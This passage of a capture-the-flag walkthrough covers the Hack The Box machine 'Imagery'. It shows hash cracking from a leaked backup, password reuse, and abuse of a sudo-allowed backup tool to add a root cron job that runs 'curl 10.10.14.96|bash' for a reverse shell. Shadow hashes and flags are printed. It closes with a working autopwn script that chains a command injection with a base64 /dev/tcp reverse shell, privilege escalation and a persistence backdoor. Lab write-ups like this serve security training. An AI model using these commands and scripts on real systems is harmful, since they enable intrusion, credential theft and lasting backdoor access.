Crack user hashes from website’s backup

It looks like a backup of ~/web directory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ cd loot

┌──(bravosec㉿fsociety)-[~/htb/Imagery/loot]
└─$ 7z l web_20250806_120723.zip
[...]

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2025-08-05 09:00:20 .....         4023         1424  web/utils.py
2025-08-05 08:57:20 .....         9091         1885  web/api_manage.py
2025-08-05 08:58:18 .....          840          372  web/api_misc.py
2025-08-05 08:56:54 .....         6398         1527  web/api_auth.py
2025-08-05 08:59:48 .....         1809          758  web/config.py
2025-08-05 15:21:24 .....         1943          804  web/app.py
2025-08-05 08:56:42 .....         9784         2084  web/api_admin.py
2025-08-05 08:58:38 .....        12082         2760  web/api_upload.py
2025-08-06 12:07:02 .....         1503          389  web/db.json
[...]

Extract the hashes from web/db.json

1
2
3
4
5
6
7
8
9
10
┌──(bravosec㉿fsociety)-[~/htb/Imagery/loot]
└─$ 7z e web_20250806_120723.zip web/db.json
[...]

┌──(bravosec㉿fsociety)-[~/htb/Imagery/loot]
└─$ cat db.json | jq '.users[] | .username+":"+.password' -r | tee db_backup.json.hash
admin@imagery.htb:5d9c1d507a3f76af1e5c97a3ad1eaa31
testuser@imagery.htb:2c65c8d7bfbca32a3ed42596192384f6
mark@imagery.htb:01c3d2e5bdaf6134cec0a367cf53e535
web@imagery.htb:84e3c804cf1fa14306f26f9f3da177e0

Cracked the hashes

1
2
3
4
5
6
7
8
9
┌──(bravosec㉿fsociety)-[~/htb/Imagery/loot]
└─$ hashcat db.json.hash /opt/wordlists/rockyou.txt -m 0 --user
hashcat (v6.2.6) starting
[...]

┌──(bravosec㉿fsociety)-[~/htb/Imagery/loot]
└─$ hashcat db_backup.json.hash /opt/wordlists/rockyou.txt -m 0 --user --show
testuser@imagery.htb:2c65c8d7bfbca32a3ed42596192384f6:iambatman
mark@imagery.htb:01c3d2e5bdaf6134cec0a367cf53e535:supersmash

Password reuse

1
2
3
4
5
6
web@Imagery:~/web$ su - mark
Password:supersmash
mark@Imagery:~$ id
uid=1002(mark) gid=1002(mark) groups=1002(mark)
mark@Imagery:~$ cat user.txt
4453ac34154865943fac3fe9e1fdfa4e

Root Flag


Shell as root

SUDO - Custom backup program : Cron job

mark can run /usr/local/bin/charcol as root without its password

1
2
3
4
5
6
mark@Imagery:~$ sudo -l
Matching Defaults entries for mark on Imagery:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mark may run the following commands on Imagery:
    (ALL) NOPASSWD: /usr/local/bin/charcol

The binary can only be executed by root

1
2
mark@Imagery:~$ ls -la /usr/local/bin/charcol
-rwxr-x--- 1 root root 69 Aug  4 18:08 /usr/local/bin/charcol

charcol is a custom tool for backup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
mark@Imagery:~$ sudo /usr/local/bin/charcol

  ░██████  ░██                                                  ░██
 ░██   ░░██ ░██                                                  ░██
░██        ░████████   ░██████   ░██░████  ░███████   ░███████  ░██
░██        ░██    ░██       ░██  ░███     ░██    ░██ ░██    ░██ ░██
░██        ░██    ░██  ░███████  ░██      ░██        ░██    ░██ ░██
 ░██   ░██ ░██    ░██ ░██   ░██  ░██      ░██    ░██ ░██    ░██ ░██
  ░██████  ░██    ░██  ░█████░██ ░██       ░███████   ░███████  ░██



Charcol The Backup Suit - Development edition 1.0.0


Charcol is already set up.
To enter the interactive shell, use: charcol shell
To see available commands and flags, use: charcol help
mark@Imagery:~$ sudo /usr/local/bin/charcol help
usage: charcol.py [--quiet] [-R] {shell,help} ...

Charcol: A CLI tool to create encrypted backup zip files.

positional arguments:
  {shell,help}          Available commands
    shell               Enter an interactive Charcol shell.
    help                Show help message for Charcol or a specific command.

options:
  --quiet               Suppress all informational output, showing only warnings and errors.
  -R, --reset-password-to-default
                        Reset application password to default (requires system password verification).

We don’t know the password for shell command

1
2
3
4
mark@Imagery:~$ sudo /usr/local/bin/charcol shell
Enter your Charcol master passphrase (used to decrypt stored app password):

[2025-10-05 05:00:41] [ERROR] Incorrect master passphrase. 2 retries left. (Error Code: CPD-002)

But we can reset the password

1
2
3
4
5
6
7
8
9
10
mark@Imagery:~$ sudo /usr/local/bin/charcol -R

Attempting to reset Charcol application password to default.
[2025-10-05 05:04:16] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:supersmash

[2025-10-05 05:04:30] [INFO] System password verified successfully.
Removed existing config file: /root/.charcol/.charcol_config
Charcol application password has been reset to default (no password mode).
Please restart the application for changes to take effect.

Set to no password mode

1
2
3
4
5
6
7
8
mark@Imagery:~$ sudo /usr/local/bin/charcol shell

First time setup: Set your Charcol application password.
Enter '1' to set a new password, or press Enter to use 'no password' mode:
Are you sure you want to use 'no password' mode? (yes/no): yes
[2025-10-05 05:05:18] [INFO] Default application password choice saved to /root/.charcol/.charcol_config
Using 'no password' mode. This choice has been remembered.
Please restart the application for changes to take effect.

Now we can enter the shell and see what we can do

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mark@Imagery:~$ sudo /usr/local/bin/charcol shell

  ░██████  ░██                                                  ░██
 ░██   ░░██ ░██                                                  ░██
░██        ░████████   ░██████   ░██░████  ░███████   ░███████  ░██
░██        ░██    ░██       ░██  ░███     ░██    ░██ ░██    ░██ ░██
░██        ░██    ░██  ░███████  ░██      ░██        ░██    ░██ ░██
 ░██   ░██ ░██    ░██ ░██   ░██  ░██      ░██    ░██ ░██    ░██ ░██
  ░██████  ░██    ░██  ░█████░██ ░██       ░███████   ░███████  ░██



Charcol The Backup Suit - Development edition 1.0.0

[2025-10-05 05:05:39] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol> help
[...]

Automated Jobs function looks interesting

Start reverse shell listener

1
2
3
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ nc -lvnp 1111
listening on [any] 1111 ...

Add a cron to get reverse shell

1
2
3
4
5
6
7
charcol> auto add --schedule "* * * * *" --command "/bin/bash -c 'curl 10.10.14.96|bash'" --name "test"
[2025-10-05 05:10:44] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:

[2025-10-05 05:10:50] [INFO] System password verified successfully.
[2025-10-05 05:10:50] [INFO] Auto job 'test' (ID: 73b665e7-368b-4c64-818f-09bd4b36d198) added successfully. The job will run according to schedule.
[2025-10-05 05:10:50] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true /bin/bash -c 'curl 10.10.14.96|bash'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ nc -lvnp 1111
listening on [any] 1111 ...
connect to [10.10.14.96] from (UNKNOWN) [10.10.11.88] 46146
/bin/sh: 0: can't access tty; job control turned off
# /usr/bin/script -qc /bin/bash /dev/null
root@Imagery:~# ^Z
zsh: suspended  nc -lvnp 1111

stty raw -echo;fg
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ stty raw -echo;fg
[1]  + continued  nc -lvnp 1111
                               export TERM=xterm
root@Imagery:~# stty rows 50 columns 209
root@Imagery:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Imagery:~# cat root.txt
af2347af0e500734515cb8041a041d03

Additional


Post exploitation

Secrets

1
2
3
root:$y$j9T$OVSThp/6ybogilellugDf.$Le2uXxNfrXRiH18puL.GI7fnu2hYxttVASa.OMFvjs4:20286:0:99999:7:::
web:$y$j9T$bSJcB7IM6SVHob8SVJQ2X/$L16rTrWlInaJ6EvPTXO3CTiUP88xtNClzOJkwXIIL0D:20303:0:99999:7:::
mark:$y$j9T$m1reIJvzn7/7hhJ26v8WV1$3zPWU7HPsUn0P133BsMZDar.XmDq1T3AbJrfi.Nc6x3:20350:0:99999:7:::

Files

1

Client side activities

Keylogging & Clipboard history

1

Browser

1

Files & directories access history

1

Application history

1

Autopwn

Someone kept breaking the machine, so I had to write autopwn to counter continious resets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
cat > ./command_injection.sh <<'EOF'
#!/bin/bash

RHOST=$1
LHOST=$2
PAYLOAD=$(B64=$(echo "bash -i >& /dev/tcp/$LHOST/1111 0>&1" | base64 -w0); echo "echo $B64|base64 -d|bash")

echo '[*] Logging in'
curl -s "http://$RHOST:8000/login" -H 'Content-Type: application/json' -d '{"username":"testuser@imagery.htb", "password":"iambatman"}' -c cookies.txt

echo '[*] Upoading image'
image_id=$(curl -s -b cookies.txt "http://$RHOST:8000/upload_image" -F file=@/home/kali/Pictures/white_16x16.png | jq '.imageId' -r)
echo "[+] image_id: $image_id"

echo '[*] Getting reverse shell'
curl -s -b cookies.txt "http://$RHOST:8000/apply_visual_transform" -H 'Content-Type: application/json' -d '{"imageId":"'"$image_id"'","transformType":"crop","params":{"x":";'"$PAYLOAD"';","y":0,"width":800,"height":450}}'
EOF

chmod +x ./command_injection.sh

cat > autopwn.expect <<'EOF'
#!/usr/bin/expect -f
set timeout -1
set rhost [lindex $argv 0]
set lhost [lindex $argv 1]
if { $argc < 2 } {
    puts "Usage: $argv0 <rhost> <lhost>"
    exit 1
}
set cmd "./command_injection.sh $rhost $lhost"
set logfile "./autopwn_${rhost}.log"
set local_script "~/scripts/tmux/pt/linux/persistence.txt"

spawn nc -lvnp 1111
puts "Spawned netcat listener\n"

exec /bin/bash -c "$cmd > $logfile 2>&1 &"
puts "Started command injection, logging to $logfile\n"

expect -re ".*connect to.*"

# get a pty'd bash
send "/usr/bin/script -qc /bin/bash /dev/null\r"
expect "\\$"

# switch to mark
send "su mark\r"
expect "Password:"
send "supersmash\r"
expect "\\$"

# reset charcol password
send "sudo /usr/local/bin/charcol -R\r"
expect "Enter system password"
send "supersmash\r"
expect "\\$"

# set the shell to 'no password'
send "sudo /usr/local/bin/charcol shell\r"
expect "no password"
send "\ryes\r"
sleep 0.1
expect "\\$"

# add the cron job
send "sudo /usr/local/bin/charcol shell\r"
expect "charcol>"
send "auto add --schedule '* * * * *' --command 'chmod +s /bin/bash' --name 'test'\r"
expect "Enter system password"
send "supersmash\r"
send "exit\r"
expect "\\$"

# Wait until cron job ran, then get a shell as root
send -- "while true; do /bin/bash -p -c 'id' | grep -q root && /bin/bash -p; sleep 1; done\r"
expect "#"
send "chmod -s /bin/bash; python3 -c 'import os;os.setuid(0);os.system(\"/bin/bash -p\")'\r"
expect "root@"

# run cleanup script
send "/root/.cron/clean.sh\r"

# run backdoor script
if {[file exists $local_script]} {
    ## read local script
    set fh [open $local_script r]
    set script_data [read $fh]
    close $fh
    ## run script in memory
    send "bash -s <<'__SCRIPT__'\r"
    send -- $script_data
    send "\r__SCRIPT__\r"
}

interact
EOF

chmod +x autopwn.expect
./autopwn.expect 10.10.11.88 10.10.14.96
This post is licensed under CC BY 4.0 by the author.